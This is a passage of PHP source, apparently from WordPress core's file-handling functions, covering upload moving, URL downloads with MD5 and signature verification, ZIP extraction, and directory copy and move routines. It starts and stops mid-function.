* error reporting will be completely skipped.
*
* @since 4.9.0
*
* @param mixed $move_new_file If null (default) move the file after the upload.
* @param array $file {
* Reference to a single element from `$_FILES`.
*
* @type string $name The original name of the file on the client machine.
* @type string $type The mime type of the file, if the browser provided this information.
* @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
* @type int $size The size, in bytes, of the uploaded file.
* @type int $error The error code associated with this file upload.
* }
* @param string $new_file Filename of the newly-uploaded file.
* @param string $type Mime type of the newly-uploaded file.
*/
$move_new_file = apply_filters( 'pre_move_uploaded_file', null, $file, $new_file, $type );
if ( null === $move_new_file ) {
if ( 'wp_handle_upload' === $action ) {
$move_new_file = @move_uploaded_file( $file['tmp_name'], $new_file );
} else {
// Use copy and unlink because rename breaks streams.
// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
$move_new_file = @copy( $file['tmp_name'], $new_file );
unlink( $file['tmp_name'] );
}
if ( false === $move_new_file ) {
if ( str_starts_with( $uploads['basedir'], ABSPATH ) ) {
$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
} else {
$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
}
return $upload_error_handler(
$file,
sprintf(
/* translators: %s: Destination file path. */
__( 'The uploaded file could not be moved to %s.' ),
$error_path
)
);
}
}
// Set correct file permissions.
$stat = stat( dirname( $new_file ) );
$perms = $stat['mode'] & 0000666;
chmod( $new_file, $perms );
// Compute the URL.
$url = $uploads['url'] . "/$filename";
if ( is_multisite() ) {
clean_dirsize_cache( $new_file );
}
/**
* Filters the data array for the uploaded file.
*
* @since 2.1.0
*
* @param array $upload {
* Array of upload data.
*
* @type string $file Filename of the newly-uploaded file.
* @type string $url URL of the newly-uploaded file.
* @type string $type Mime type of the newly-uploaded file.
* }
* @param string $context The type of upload action. Values include 'upload' or 'sideload'.
*/
return apply_filters(
'wp_handle_upload',
array(
'file' => $new_file,
'url' => $url,
'type' => $type,
),
'wp_handle_sideload' === $action ? 'sideload' : 'upload'
);
}
/**
* Wrapper for _wp_handle_upload().
*
* Passes the {@see 'wp_handle_upload'} action.
*
* @since 2.0.0
*
* @see _wp_handle_upload()
*
* @param array $file Reference to a single element of `$_FILES`.
* Call the function once for each uploaded file.
* See _wp_handle_upload() for accepted values.
* @param array|false $overrides Optional. An associative array of names => values
* to override default variables. Default false.
* See _wp_handle_upload() for accepted values.
* @param string|null $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @return array See _wp_handle_upload() for return value.
*/
function wp_handle_upload( &$file, $overrides = false, $time = null ) {
/*
* $_POST['action'] must be set and its value must equal $overrides['action']
* or this:
*/
$action = 'wp_handle_upload';
if ( isset( $overrides['action'] ) ) {
$action = $overrides['action'];
}
return _wp_handle_upload( $file, $overrides, $time, $action );
}
/**
* Wrapper for _wp_handle_upload().
*
* Passes the {@see 'wp_handle_sideload'} action.
*
* @since 2.6.0
*
* @see _wp_handle_upload()
*
* @param array $file Reference to a single element of `$_FILES`.
* Call the function once for each uploaded file.
* See _wp_handle_upload() for accepted values.
* @param array|false $overrides Optional. An associative array of names => values
* to override default variables. Default false.
* See _wp_handle_upload() for accepted values.
* @param string|null $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @return array See _wp_handle_upload() for return value.
*/
function wp_handle_sideload( &$file, $overrides = false, $time = null ) {
/*
* $_POST['action'] must be set and its value must equal $overrides['action']
* or this:
*/
$action = 'wp_handle_sideload';
if ( isset( $overrides['action'] ) ) {
$action = $overrides['action'];
}
return _wp_handle_upload( $file, $overrides, $time, $action );
}
/**
* Downloads a URL to a local temporary file using the WordPress HTTP API.
*
* Please note that the calling function must delete or move the file.
*
* @since 2.5.0
* @since 5.2.0 Signature Verification with SoftFail was added.
* @since 5.9.0 Support for Content-Disposition filename was added.
*
* @param string $url The URL of the file to download.
* @param int $timeout The timeout for the request to download the file.
* Default 300 seconds.
* @param bool $signature_verification Whether to perform Signature Verification.
* Default false.
* @return string|WP_Error Filename on success, WP_Error on failure.
*/
function download_url( $url, $timeout = 300, $signature_verification = false ) {
// WARNING: The file is not automatically deleted, the script must delete or move the file.
if ( ! $url ) {
return new WP_Error( 'http_no_url', __( 'No URL Provided.' ) );
}
$url_path = parse_url( $url, PHP_URL_PATH );
$url_filename = '';
if ( is_string( $url_path ) && '' !== $url_path ) {
$url_filename = basename( $url_path );
}
$tmpfname = wp_tempnam( $url_filename );
if ( ! $tmpfname ) {
return new WP_Error( 'http_no_file', __( 'Could not create temporary file.' ) );
}
$response = wp_safe_remote_get(
$url,
array(
'timeout' => $timeout,
'stream' => true,
'filename' => $tmpfname,
)
);
if ( is_wp_error( $response ) ) {
unlink( $tmpfname );
return $response;
}
$response_code = wp_remote_retrieve_response_code( $response );
if ( 200 !== $response_code ) {
$data = array(
'code' => $response_code,
);
// Retrieve a sample of the response body for debugging purposes.
$tmpf = fopen( $tmpfname, 'rb' );
if ( $tmpf ) {
/**
* Filters the maximum error response body size in `download_url()`.
*
* @since 5.1.0
*
* @see download_url()
*
* @param int $size The maximum error response body size. Default 1 KB.
*/
$response_size = apply_filters( 'download_url_error_max_body_size', KB_IN_BYTES );
$data['body'] = fread( $tmpf, $response_size );
fclose( $tmpf );
}
unlink( $tmpfname );
return new WP_Error( 'http_404', trim( wp_remote_retrieve_response_message( $response ) ), $data );
}
$content_disposition = wp_remote_retrieve_header( $response, 'Content-Disposition' );
if ( $content_disposition ) {
$content_disposition = strtolower( $content_disposition );
if ( str_starts_with( $content_disposition, 'attachment; filename=' ) ) {
$tmpfname_disposition = sanitize_file_name( substr( $content_disposition, 21 ) );
} else {
$tmpfname_disposition = '';
}
// Potential file name must be valid string.
if ( $tmpfname_disposition && is_string( $tmpfname_disposition )
&& ( 0 === validate_file( $tmpfname_disposition ) )
) {
$tmpfname_disposition = dirname( $tmpfname ) . '/' . $tmpfname_disposition;
if ( rename( $tmpfname, $tmpfname_disposition ) ) {
$tmpfname = $tmpfname_disposition;
}
if ( ( $tmpfname !== $tmpfname_disposition ) && file_exists( $tmpfname_disposition ) ) {
unlink( $tmpfname_disposition );
}
}
}
$content_md5 = wp_remote_retrieve_header( $response, 'Content-MD5' );
if ( $content_md5 ) {
$md5_check = verify_file_md5( $tmpfname, $content_md5 );
if ( is_wp_error( $md5_check ) ) {
unlink( $tmpfname );
return $md5_check;
}
}
// If the caller expects signature verification to occur, check to see if this URL supports it.
if ( $signature_verification ) {
/**
* Filters the list of hosts which should have Signature Verification attempted on.
*
* @since 5.2.0
*
* @param string[] $hostnames List of hostnames.
*/
$signed_hostnames = apply_filters( 'wp_signature_hosts', array( 'wordpress.org', 'downloads.wordpress.org', 's.w.org' ) );
$signature_verification = in_array( parse_url( $url, PHP_URL_HOST ), $signed_hostnames, true );
}
// Perform signature validation if supported.
if ( $signature_verification ) {
$signature = wp_remote_retrieve_header( $response, 'X-Content-Signature' );
if ( ! $signature ) {
/*
* Retrieve signatures from a file if the header wasn't included.
* WordPress.org stores signatures at $package_url.sig.
*/
$signature_url = false;
if ( is_string( $url_path ) && ( str_ends_with( $url_path, '.zip' ) || str_ends_with( $url_path, '.tar.gz' ) ) ) {
$signature_url = str_replace( $url_path, $url_path . '.sig', $url );
}
/**
* Filters the URL where the signature for a file is located.
*
* @since 5.2.0
*
* @param false|string $signature_url The URL where signatures can be found for a file, or false if none are known.
* @param string $url The URL being verified.
*/
$signature_url = apply_filters( 'wp_signature_url', $signature_url, $url );
if ( $signature_url ) {
$signature_request = wp_safe_remote_get(
$signature_url,
array(
'limit_response_size' => 10 * KB_IN_BYTES, // 10KB should be large enough for quite a few signatures.
)
);
if ( ! is_wp_error( $signature_request ) && 200 === wp_remote_retrieve_response_code( $signature_request ) ) {
$signature = explode( "\n", wp_remote_retrieve_body( $signature_request ) );
}
}
}
// Perform the checks.
$signature_verification = verify_file_signature( $tmpfname, $signature, $url_filename );
}
if ( is_wp_error( $signature_verification ) ) {
if (
/**
* Filters whether Signature Verification failures should be allowed to soft fail.
*
* WARNING: This may be removed from a future release.
*
* @since 5.2.0
*
* @param bool $signature_softfail If a softfail is allowed.
* @param string $url The url being accessed.
*/
apply_filters( 'wp_signature_softfail', true, $url )
) {
$signature_verification->add_data( $tmpfname, 'softfail-filename' );
} else {
// Hard-fail.
unlink( $tmpfname );
}
return $signature_verification;
}
return $tmpfname;
}
/**
* Calculates and compares the MD5 of a file to its expected value.
*
* @since 3.7.0
*
* @param string $filename The filename to check the MD5 of.
* @param string $expected_md5 The expected MD5 of the file, either a base64-encoded raw md5,
* or a hex-encoded md5.
* @return bool|WP_Error True on success, false when the MD5 format is unknown/unexpected,
* WP_Error on failure.
*/
function verify_file_md5( $filename, $expected_md5 ) {
if ( 32 === strlen( $expected_md5 ) ) {
$expected_raw_md5 = pack( 'H*', $expected_md5 );
} elseif ( 24 === strlen( $expected_md5 ) ) {
$expected_raw_md5 = base64_decode( $expected_md5 );
} else {
return false; // Unknown format.
}
$file_md5 = md5_file( $filename, true );
if ( $file_md5 === $expected_raw_md5 ) {
return true;
}
return new WP_Error(
'md5_mismatch',
sprintf(
/* translators: 1: File checksum, 2: Expected checksum value. */
__( 'The checksum of the file (%1$s) does not match the expected checksum value (%2$s).' ),
bin2hex( $file_md5 ),
bin2hex( $expected_raw_md5 )
)
);
}
/**
* Verifies the contents of a file against its ED25519 signature.
*
* @since 5.2.0
*
* @param string $filename The file to validate.
* @param string|array $signatures A Signature provided for the file.
* @param string|false $filename_for_errors Optional. A friendly filename for errors.
* @return bool|WP_Error True on success, false if verification not attempted,
* or WP_Error describing an error condition.
*/
function verify_file_signature( $filename, $signatures, $filename_for_errors = false ) {
if ( ! $filename_for_errors ) {
$filename_for_errors = wp_basename( $filename );
}
// Check we can process signatures.
if ( ! function_exists( 'sodium_crypto_sign_verify_detached' ) || ! in_array( 'sha384', array_map( 'strtolower', hash_algos() ), true ) ) {
return new WP_Error(
'signature_verification_unsupported',
sprintf(
/* translators: %s: The filename of the package. */
__( 'The authenticity of %s could not be verified as signature verification is unavailable on this system.' ),
'' . esc_html( $filename_for_errors ) . ''
),
( ! function_exists( 'sodium_crypto_sign_verify_detached' ) ? 'sodium_crypto_sign_verify_detached' : 'sha384' )
);
}
// Verify runtime speed of Sodium_Compat is acceptable.
if ( ! extension_loaded( 'sodium' ) && ! ParagonIE_Sodium_Compat::polyfill_is_fast() ) {
$sodium_compat_is_fast = false;
// Allow for an old version of Sodium_Compat being loaded before the bundled WordPress one.
if ( method_exists( 'ParagonIE_Sodium_Compat', 'runtime_speed_test' ) ) {
/*
* Run `ParagonIE_Sodium_Compat::runtime_speed_test()` in optimized integer mode,
* as that's what WordPress utilizes during signing verifications.
*/
// phpcs:disable WordPress.NamingConventions.ValidVariableName
$old_fastMult = ParagonIE_Sodium_Compat::$fastMult;
ParagonIE_Sodium_Compat::$fastMult = true;
$sodium_compat_is_fast = ParagonIE_Sodium_Compat::runtime_speed_test( 100, 10 );
ParagonIE_Sodium_Compat::$fastMult = $old_fastMult;
// phpcs:enable
}
/*
* This cannot be performed in a reasonable amount of time.
* https://github.com/paragonie/sodium_compat#help-sodium_compat-is-slow-how-can-i-make-it-fast
*/
if ( ! $sodium_compat_is_fast ) {
return new WP_Error(
'signature_verification_unsupported',
sprintf(
/* translators: %s: The filename of the package. */
__( 'The authenticity of %s could not be verified as signature verification is unavailable on this system.' ),
'' . esc_html( $filename_for_errors ) . ''
),
array(
'php' => PHP_VERSION,
'sodium' => defined( 'SODIUM_LIBRARY_VERSION' ) ? SODIUM_LIBRARY_VERSION : ( defined( 'ParagonIE_Sodium_Compat::VERSION_STRING' ) ? ParagonIE_Sodium_Compat::VERSION_STRING : false ),
'polyfill_is_fast' => false,
'max_execution_time' => ini_get( 'max_execution_time' ),
)
);
}
}
if ( ! $signatures ) {
return new WP_Error(
'signature_verification_no_signature',
sprintf(
/* translators: %s: The filename of the package. */
__( 'The authenticity of %s could not be verified as no signature was found.' ),
'' . esc_html( $filename_for_errors ) . ''
),
array(
'filename' => $filename_for_errors,
)
);
}
$trusted_keys = wp_trusted_keys();
$file_hash = hash_file( 'sha384', $filename, true );
mbstring_binary_safe_encoding();
$skipped_key = 0;
$skipped_signature = 0;
foreach ( (array) $signatures as $signature ) {
$signature_raw = base64_decode( $signature );
// Ensure only valid-length signatures are considered.
if ( SODIUM_CRYPTO_SIGN_BYTES !== strlen( $signature_raw ) ) {
++$skipped_signature;
continue;
}
foreach ( (array) $trusted_keys as $key ) {
$key_raw = base64_decode( $key );
// Only pass valid public keys through.
if ( SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES !== strlen( $key_raw ) ) {
++$skipped_key;
continue;
}
if ( sodium_crypto_sign_verify_detached( $signature_raw, $file_hash, $key_raw ) ) {
reset_mbstring_encoding();
return true;
}
}
}
reset_mbstring_encoding();
return new WP_Error(
'signature_verification_failed',
sprintf(
/* translators: %s: The filename of the package. */
__( 'The authenticity of %s could not be verified.' ),
'' . esc_html( $filename_for_errors ) . ''
),
// Error data helpful for debugging:
array(
'filename' => $filename_for_errors,
'keys' => $trusted_keys,
'signatures' => $signatures,
'hash' => bin2hex( $file_hash ),
'skipped_key' => $skipped_key,
'skipped_sig' => $skipped_signature,
'php' => PHP_VERSION,
'sodium' => defined( 'SODIUM_LIBRARY_VERSION' ) ? SODIUM_LIBRARY_VERSION : ( defined( 'ParagonIE_Sodium_Compat::VERSION_STRING' ) ? ParagonIE_Sodium_Compat::VERSION_STRING : false ),
)
);
}
/**
* Retrieves the list of signing keys trusted by WordPress.
*
* @since 5.2.0
*
* @return string[] Array of base64-encoded signing keys.
*/
function wp_trusted_keys() {
$trusted_keys = array();
if ( time() < 1617235200 ) {
// WordPress.org Key #1 - This key is only valid before April 1st, 2021.
$trusted_keys[] = 'fRPyrxb/MvVLbdsYi+OOEv4xc+Eqpsj+kkAS6gNOkI0=';
}
// TODO: Add key #2 with longer expiration.
/**
* Filters the valid signing keys used to verify the contents of files.
*
* @since 5.2.0
*
* @param string[] $trusted_keys The trusted keys that may sign packages.
*/
return apply_filters( 'wp_trusted_keys', $trusted_keys );
}
/**
* Determines whether the given file is a valid ZIP file.
*
* This function does not test to ensure that a file exists. Non-existent files
* are not valid ZIPs, so those will also return false.
*
* @since 6.4.4
*
* @param string $file Full path to the ZIP file.
* @return bool Whether the file is a valid ZIP file.
*/
function wp_zip_file_is_valid( $file ) {
/** This filter is documented in wp-admin/includes/file.php */
if ( class_exists( 'ZipArchive', false ) && apply_filters( 'unzip_file_use_ziparchive', true ) ) {
$archive = new ZipArchive();
$archive_is_valid = $archive->open( $file, ZipArchive::CHECKCONS );
if ( true === $archive_is_valid ) {
$archive->close();
return true;
}
}
// Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file.
require_once ABSPATH . 'wp-admin/includes/class-pclzip.php';
$archive = new PclZip( $file );
$archive_is_valid = is_array( $archive->properties() );
return $archive_is_valid;
}
/**
* Unzips a specified ZIP file to a location on the filesystem via the WordPress
* Filesystem Abstraction.
*
* Assumes that WP_Filesystem() has already been called and set up. Does not extract
* a root-level __MACOSX directory, if present.
*
* Attempts to increase the PHP memory limit to 256M before uncompressing. However,
* the most memory required shouldn't be much larger than the archive itself.
*
* @since 2.5.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param string $file Full path and filename of ZIP archive.
* @param string $to Full path on the filesystem to extract archive to.
* @return true|WP_Error True on success, WP_Error on failure.
*/
function unzip_file( $file, $to ) {
global $wp_filesystem;
if ( ! $wp_filesystem || ! is_object( $wp_filesystem ) ) {
return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
}
// Unzip can use a lot of memory, but not this much hopefully.
wp_raise_memory_limit( 'admin' );
$needed_dirs = array();
$to = trailingslashit( $to );
// Determine any parent directories needed (of the upgrade directory).
if ( ! $wp_filesystem->is_dir( $to ) ) { // Only do parents if no children exist.
$path = preg_split( '![/\\\]!', untrailingslashit( $to ) );
for ( $i = count( $path ); $i >= 0; $i-- ) {
if ( empty( $path[ $i ] ) ) {
continue;
}
$dir = implode( '/', array_slice( $path, 0, $i + 1 ) );
if ( preg_match( '!^[a-z]:$!i', $dir ) ) { // Skip it if it looks like a Windows Drive letter.
continue;
}
if ( ! $wp_filesystem->is_dir( $dir ) ) {
$needed_dirs[] = $dir;
} else {
break; // A folder exists, therefore we don't need to check the levels below this.
}
}
}
/**
* Filters whether to use ZipArchive to unzip archives.
*
* @since 3.0.0
*
* @param bool $ziparchive Whether to use ZipArchive. Default true.
*/
if ( class_exists( 'ZipArchive', false ) && apply_filters( 'unzip_file_use_ziparchive', true ) ) {
$result = _unzip_file_ziparchive( $file, $to, $needed_dirs );
if ( true === $result ) {
return $result;
} elseif ( is_wp_error( $result ) ) {
if ( 'incompatible_archive' !== $result->get_error_code() ) {
return $result;
}
}
}
// Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file.
return _unzip_file_pclzip( $file, $to, $needed_dirs );
}
/**
* Attempts to unzip an archive using the ZipArchive class.
*
* This function should not be called directly, use `unzip_file()` instead.
*
* Assumes that WP_Filesystem() has already been called and set up.
*
* @since 3.0.0
* @access private
*
* @see unzip_file()
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param string $file Full path and filename of ZIP archive.
* @param string $to Full path on the filesystem to extract archive to.
* @param string[] $needed_dirs A partial list of required folders needed to be created.
* @return true|WP_Error True on success, WP_Error on failure.
*/
function _unzip_file_ziparchive( $file, $to, $needed_dirs = array() ) {
global $wp_filesystem;
$z = new ZipArchive();
$zopen = $z->open( $file, ZIPARCHIVE::CHECKCONS );
if ( true !== $zopen ) {
return new WP_Error( 'incompatible_archive', __( 'Incompatible Archive.' ), array( 'ziparchive_error' => $zopen ) );
}
$uncompressed_size = 0;
for ( $i = 0; $i < $z->numFiles; $i++ ) {
$info = $z->statIndex( $i );
if ( ! $info ) {
$z->close();
return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );
}
if ( str_starts_with( $info['name'], '__MACOSX/' ) ) { // Skip the OS X-created __MACOSX directory.
continue;
}
// Don't extract invalid files:
if ( 0 !== validate_file( $info['name'] ) ) {
continue;
}
$uncompressed_size += $info['size'];
$dirname = dirname( $info['name'] );
if ( str_ends_with( $info['name'], '/' ) ) {
// Directory.
$needed_dirs[] = $to . untrailingslashit( $info['name'] );
} elseif ( '.' !== $dirname ) {
// Path to a file.
$needed_dirs[] = $to . untrailingslashit( $dirname );
}
}
// Enough space to unzip the file and copy its contents, with a 10% buffer.
$required_space = $uncompressed_size * 2.1;
/*
* disk_free_space() could return false. Assume that any falsey value is an error.
* A disk that has zero free bytes has bigger problems.
* Require we have enough space to unzip the file and copy its contents, with a 10% buffer.
*/
if ( wp_doing_cron() ) {
$available_space = function_exists( 'disk_free_space' ) ? @disk_free_space( WP_CONTENT_DIR ) : false;
if ( $available_space && ( $required_space > $available_space ) ) {
$z->close();
return new WP_Error(
'disk_full_unzip_file',
__( 'Could not copy files. You may have run out of disk space.' ),
compact( 'uncompressed_size', 'available_space' )
);
}
}
$needed_dirs = array_unique( $needed_dirs );
foreach ( $needed_dirs as $dir ) {
// Check the parent folders of the folders all exist within the creation array.
if ( untrailingslashit( $to ) === $dir ) { // Skip over the working directory, we know this exists (or will exist).
continue;
}
if ( ! str_contains( $dir, $to ) ) { // If the directory is not within the working directory, skip it.
continue;
}
$parent_folder = dirname( $dir );
while ( ! empty( $parent_folder )
&& untrailingslashit( $to ) !== $parent_folder
&& ! in_array( $parent_folder, $needed_dirs, true )
) {
$needed_dirs[] = $parent_folder;
$parent_folder = dirname( $parent_folder );
}
}
asort( $needed_dirs );
// Create those directories if need be:
foreach ( $needed_dirs as $_dir ) {
// Only check to see if the Dir exists upon creation failure. Less I/O this way.
if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) ) {
$z->close();
return new WP_Error( 'mkdir_failed_ziparchive', __( 'Could not create directory.' ), $_dir );
}
}
/**
* Filters archive unzipping to override with a custom process.
*
* @since 6.4.0
*
* @param null|true|WP_Error $result The result of the override. True on success, otherwise WP Error. Default null.
* @param string $file Full path and filename of ZIP archive.
* @param string $to Full path on the filesystem to extract archive to.
* @param string[] $needed_dirs A full list of required folders that need to be created.
* @param float $required_space The space required to unzip the file and copy its contents, with a 10% buffer.
*/
$pre = apply_filters( 'pre_unzip_file', null, $file, $to, $needed_dirs, $required_space );
if ( null !== $pre ) {
// Ensure the ZIP file archive has been closed.
$z->close();
return $pre;
}
for ( $i = 0; $i < $z->numFiles; $i++ ) {
$info = $z->statIndex( $i );
if ( ! $info ) {
$z->close();
return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );
}
if ( str_ends_with( $info['name'], '/' ) ) { // Directory.
continue;
}
if ( str_starts_with( $info['name'], '__MACOSX/' ) ) { // Don't extract the OS X-created __MACOSX directory files.
continue;
}
// Don't extract invalid files:
if ( 0 !== validate_file( $info['name'] ) ) {
continue;
}
$contents = $z->getFromIndex( $i );
if ( false === $contents ) {
$z->close();
return new WP_Error( 'extract_failed_ziparchive', __( 'Could not extract file from archive.' ), $info['name'] );
}
if ( ! $wp_filesystem->put_contents( $to . $info['name'], $contents, FS_CHMOD_FILE ) ) {
$z->close();
return new WP_Error( 'copy_failed_ziparchive', __( 'Could not copy file.' ), $info['name'] );
}
}
$z->close();
/**
* Filters the result of unzipping an archive.
*
* @since 6.4.0
*
* @param true|WP_Error $result The result of unzipping the archive. True on success, otherwise WP_Error. Default true.
* @param string $file Full path and filename of ZIP archive.
* @param string $to Full path on the filesystem the archive was extracted to.
* @param string[] $needed_dirs A full list of required folders that were created.
* @param float $required_space The space required to unzip the file and copy its contents, with a 10% buffer.
*/
$result = apply_filters( 'unzip_file', true, $file, $to, $needed_dirs, $required_space );
unset( $needed_dirs );
return $result;
}
/**
* Attempts to unzip an archive using the PclZip library.
*
* This function should not be called directly, use `unzip_file()` instead.
*
* Assumes that WP_Filesystem() has already been called and set up.
*
* @since 3.0.0
* @access private
*
* @see unzip_file()
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param string $file Full path and filename of ZIP archive.
* @param string $to Full path on the filesystem to extract archive to.
* @param string[] $needed_dirs A partial list of required folders needed to be created.
* @return true|WP_Error True on success, WP_Error on failure.
*/
function _unzip_file_pclzip( $file, $to, $needed_dirs = array() ) {
global $wp_filesystem;
mbstring_binary_safe_encoding();
require_once ABSPATH . 'wp-admin/includes/class-pclzip.php';
$archive = new PclZip( $file );
$archive_files = $archive->extract( PCLZIP_OPT_EXTRACT_AS_STRING );
reset_mbstring_encoding();
// Is the archive valid?
if ( ! is_array( $archive_files ) ) {
return new WP_Error( 'incompatible_archive', __( 'Incompatible Archive.' ), $archive->errorInfo( true ) );
}
if ( 0 === count( $archive_files ) ) {
return new WP_Error( 'empty_archive_pclzip', __( 'Empty archive.' ) );
}
$uncompressed_size = 0;
// Determine any children directories needed (From within the archive).
foreach ( $archive_files as $file ) {
if ( str_starts_with( $file['filename'], '__MACOSX/' ) ) { // Skip the OS X-created __MACOSX directory.
continue;
}
$uncompressed_size += $file['size'];
$needed_dirs[] = $to . untrailingslashit( $file['folder'] ? $file['filename'] : dirname( $file['filename'] ) );
}
// Enough space to unzip the file and copy its contents, with a 10% buffer.
$required_space = $uncompressed_size * 2.1;
/*
* disk_free_space() could return false. Assume that any falsey value is an error.
* A disk that has zero free bytes has bigger problems.
* Require we have enough space to unzip the file and copy its contents, with a 10% buffer.
*/
if ( wp_doing_cron() ) {
$available_space = function_exists( 'disk_free_space' ) ? @disk_free_space( WP_CONTENT_DIR ) : false;
if ( $available_space && ( $required_space > $available_space ) ) {
return new WP_Error(
'disk_full_unzip_file',
__( 'Could not copy files. You may have run out of disk space.' ),
compact( 'uncompressed_size', 'available_space' )
);
}
}
$needed_dirs = array_unique( $needed_dirs );
foreach ( $needed_dirs as $dir ) {
// Check the parent folders of the folders all exist within the creation array.
if ( untrailingslashit( $to ) === $dir ) { // Skip over the working directory, we know this exists (or will exist).
continue;
}
if ( ! str_contains( $dir, $to ) ) { // If the directory is not within the working directory, skip it.
continue;
}
$parent_folder = dirname( $dir );
while ( ! empty( $parent_folder )
&& untrailingslashit( $to ) !== $parent_folder
&& ! in_array( $parent_folder, $needed_dirs, true )
) {
$needed_dirs[] = $parent_folder;
$parent_folder = dirname( $parent_folder );
}
}
asort( $needed_dirs );
// Create those directories if need be:
foreach ( $needed_dirs as $_dir ) {
// Only check to see if the dir exists upon creation failure. Less I/O this way.
if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) ) {
return new WP_Error( 'mkdir_failed_pclzip', __( 'Could not create directory.' ), $_dir );
}
}
/** This filter is documented in src/wp-admin/includes/file.php */
$pre = apply_filters( 'pre_unzip_file', null, $file, $to, $needed_dirs, $required_space );
if ( null !== $pre ) {
return $pre;
}
// Extract the files from the zip.
foreach ( $archive_files as $file ) {
if ( $file['folder'] ) {
continue;
}
if ( str_starts_with( $file['filename'], '__MACOSX/' ) ) { // Don't extract the OS X-created __MACOSX directory files.
continue;
}
// Don't extract invalid files:
if ( 0 !== validate_file( $file['filename'] ) ) {
continue;
}
if ( ! $wp_filesystem->put_contents( $to . $file['filename'], $file['content'], FS_CHMOD_FILE ) ) {
return new WP_Error( 'copy_failed_pclzip', __( 'Could not copy file.' ), $file['filename'] );
}
}
/** This action is documented in src/wp-admin/includes/file.php */
$result = apply_filters( 'unzip_file', true, $file, $to, $needed_dirs, $required_space );
unset( $needed_dirs );
return $result;
}
/**
* Copies a directory from one location to another via the WordPress Filesystem
* Abstraction.
*
* Assumes that WP_Filesystem() has already been called and setup.
*
* @since 2.5.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param string $from Source directory.
* @param string $to Destination directory.
* @param string[] $skip_list An array of files/folders to skip copying.
* @return true|WP_Error True on success, WP_Error on failure.
*/
function copy_dir( $from, $to, $skip_list = array() ) {
global $wp_filesystem;
$dirlist = $wp_filesystem->dirlist( $from );
if ( false === $dirlist ) {
return new WP_Error( 'dirlist_failed_copy_dir', __( 'Directory listing failed.' ), basename( $from ) );
}
$from = trailingslashit( $from );
$to = trailingslashit( $to );
if ( ! $wp_filesystem->exists( $to ) && ! $wp_filesystem->mkdir( $to ) ) {
return new WP_Error(
'mkdir_destination_failed_copy_dir',
__( 'Could not create the destination directory.' ),
basename( $to )
);
}
foreach ( (array) $dirlist as $filename => $fileinfo ) {
if ( in_array( $filename, $skip_list, true ) ) {
continue;
}
if ( 'f' === $fileinfo['type'] ) {
if ( ! $wp_filesystem->copy( $from . $filename, $to . $filename, true, FS_CHMOD_FILE ) ) {
// If copy failed, chmod file to 0644 and try again.
$wp_filesystem->chmod( $to . $filename, FS_CHMOD_FILE );
if ( ! $wp_filesystem->copy( $from . $filename, $to . $filename, true, FS_CHMOD_FILE ) ) {
return new WP_Error( 'copy_failed_copy_dir', __( 'Could not copy file.' ), $to . $filename );
}
}
wp_opcache_invalidate( $to . $filename );
} elseif ( 'd' === $fileinfo['type'] ) {
if ( ! $wp_filesystem->is_dir( $to . $filename ) ) {
if ( ! $wp_filesystem->mkdir( $to . $filename, FS_CHMOD_DIR ) ) {
return new WP_Error( 'mkdir_failed_copy_dir', __( 'Could not create directory.' ), $to . $filename );
}
}
// Generate the $sub_skip_list for the subdirectory as a sub-set of the existing $skip_list.
$sub_skip_list = array();
foreach ( $skip_list as $skip_item ) {
if ( str_starts_with( $skip_item, $filename . '/' ) ) {
$sub_skip_list[] = preg_replace( '!^' . preg_quote( $filename, '!' ) . '/!i', '', $skip_item );
}
}
$result = copy_dir( $from . $filename, $to . $filename, $sub_skip_list );
if ( is_wp_error( $result ) ) {
return $result;
}
}
}
return true;
}
/**
* Moves a directory from one location to another.
*
* Recursively invalidates OPcache on success.
*
* If the renaming failed, falls back to copy_dir().
*
* Assumes that WP_Filesystem() has already been called and setup.
*
* This function is not designed to merge directories, copy_dir() should be used instead.
*
* @since 6.2.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param string $from Source directory.
* @param string $to Destination directory.
* @param bool $overwrite Optional. Whether to overwrite the destination directory if it exists.
* Default false.
* @return true|WP_Error True on success, WP_Error on failure.
*/
function move_dir( $from, $to, $overwrite = false ) {
global $wp_filesystem;
if ( trailingslashit( strtolower( $from ) ) === trailingslashit( strtolower( $to ) ) ) {
return new WP_Error( 'source_destination_same_move_dir', __( 'The source and destination are the same.' ) );
}
if ( $wp_filesystem->exists( $to ) ) {
if ( ! $overwrite ) {
return new WP_Error( 'destination_already_exists_move_dir', __( 'The destination folder already exists.' ), $to );
} elseif ( ! $wp_filesystem->delete( $to, true ) ) {
// Can't overwrite if the destination couldn't be deleted.
return new WP_Error( 'destination_not_deleted_move_dir', __( 'The destination directory already exists and could not be removed.' ) );
}
}
if ( $wp_filesystem->move( $from, $to ) ) {
/*
* When using an environment with shared folders,
* there is a delay in updating the filesystem's cache.
*
* This is a known issue in environments with a VirtualBox provider.
*
* A 200ms delay gives time for the filesystem to update its cache,
* prevents "Operation not permitted", and "No such file or directory" warnings.
*
* This delay is used in other projects, including Composer.
* @link https://github.com/composer/composer/blob/2.5.1/src/Composer/Util/Platform.php#L228-L233
*/
usleep( 200000 );
wp_opcache_invalidate_directory( $to );
return true;
}
// Fall back to a recursive copy.
if ( ! $wp_filesystem->is_dir( $to ) ) {
if ( ! $wp_filesystem->mkdir( $to, FS_CHMOD_DIR ) ) {
